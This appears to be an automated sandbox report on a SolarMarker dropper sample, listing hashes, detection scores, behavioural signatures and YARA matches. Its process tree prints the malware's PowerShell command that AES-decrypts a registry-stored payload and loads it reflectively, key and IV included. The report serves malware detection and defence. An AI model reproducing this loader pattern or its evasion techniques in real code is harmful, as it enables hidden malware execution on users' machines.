Edit tour
Windows
Analysis Report
i2wBlKtxrM.exe
Overview
General Information
| Sample Name: | i2wBlKtxrM.exe |
| Original Sample Name: | 6f7332625d573ccc7b14264ee0db7e671305e1206c7eaf920e17c26f7b5b64a7 |
| Analysis ID: | 2476126 |
| MD5: | 3d114954f3c8b60f05e56e4cb4ea2c1c |
| SHA1: | 219309830ee31d06c21abb8bdbcd68c610093152 |
| SHA256: | 6f7332625d573ccc7b14264ee0db7e671305e1206c7eaf920e17c26f7b5b64a7 |
| Infos: |  |
 | |
Detection
SolarMarker
| Score: | 60 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Compliance
| Score: | 48 |
| Range: | 0 - 100 |
Signatures
Malicious sample detected (through community Yara rule)
Yara detected SolarMarker Dropper
Yara detected SolarMarker
Machine Learning detection for sample
.NET source code contains very large strings
Detected PE file pumping (to bypass AV & sandboxing)
Sample uses string decryption to hide its real strings
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Stores large binary data to the registry
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
HTTP GET or POST without a user agent
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries information about the installed CPU (vendor, model number etc)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains capabilities to detect virtual machines
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a process in suspended mode (likely to inject code)
Classification
- System is w10x64native
i2wBlKtxrM.exe (PID: 5292 cmdline: C:\Users\u ser\Deskto p\i2wBlKtx rM.exe MD5: 3D114954F3C8B60F05E56E4CB4EA2C1C) 
sumpdf-installer-x64-bundle.exe (PID: 1476 cmdline: "C:\Users\ user\Deskt op\sumpdf- installer- x64-bundle .exe" MD5: 5825A6110ACCCED8F5580207C94E2805) 
powershell.exe (PID: 14196 cmdline: powershell MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 9960 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: CE1A079265E7A92863BAAD92DE538D72) - powershell.exe (PID: 6416 cmdline:
powershell MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 10284 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: CE1A079265E7A92863BAAD92DE538D72)
- powershell.exe (PID: 77972 cmdline:
PowerShell .exe" -com mand "$A=N ew-Object System.Sec urity.Cryp tography.A esCryptoSe rviceProvi der;$A.Key =@([byte]3 ,173,118,1 26,231,161 ,139,192,2 29,141,204 ,156,132,1 00,48,106, 235,67,30, 141,248,15 3,154,213, 216,50,229 ,134,16,17 1,109,238) ;$A.IV=@([ byte]201,2 34,4,140,1 15,200,164 ,199,43,16 8,227,197, 101,4,86,9 );$F=(get- itemproper ty 'HKCU:\ Software\C lasses\rfg 1dcnqkaz') .'(default )';[Reflec tion.Assem bly]::Load ($A.Create Decryptor( ).Transfor mFinalBloc k($F,0,$F. Length));[ kemCiD76Hl G1Vs2OPA8c qjGCkrCqhX CzjexLEW2L xjRUMlEqNP HprYoTm9lb u6vtunojB7 2JkixZX3sS wfGVTdwCSS zECXsoGC.k 71MR3w83P1 67odlfS1wN y2AFqYTQl9 Bufz4ZvpO0 Mceu64ndEf f]::KEqMIs 3CK5uPwc0w NJHou0Kdkh _iB1('CW2T M3BL19P97X CM5KU1REEJ 00X0IVIU') ; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 77988 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: CE1A079265E7A92863BAAD92DE538D72)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_SolarMarker | Yara detected SolarMarker Dropper | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_SolarMarker_1 | Yara detected SolarMarker | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
⊘No Sigma rule has matched
⊘No Snort rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |   |
|---|
| Source: | Joe Sandbox ML: | ||
| Source: | String decryptor: | ||